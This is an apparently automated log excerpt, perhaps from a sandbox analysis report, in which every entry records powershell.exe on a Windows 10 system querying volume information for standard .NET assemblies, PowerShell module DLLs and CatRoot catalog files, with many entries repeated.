Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.3208.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.3448.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.3448.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.3448.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.3448.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.3448.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.3448.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.3448.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.3208.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
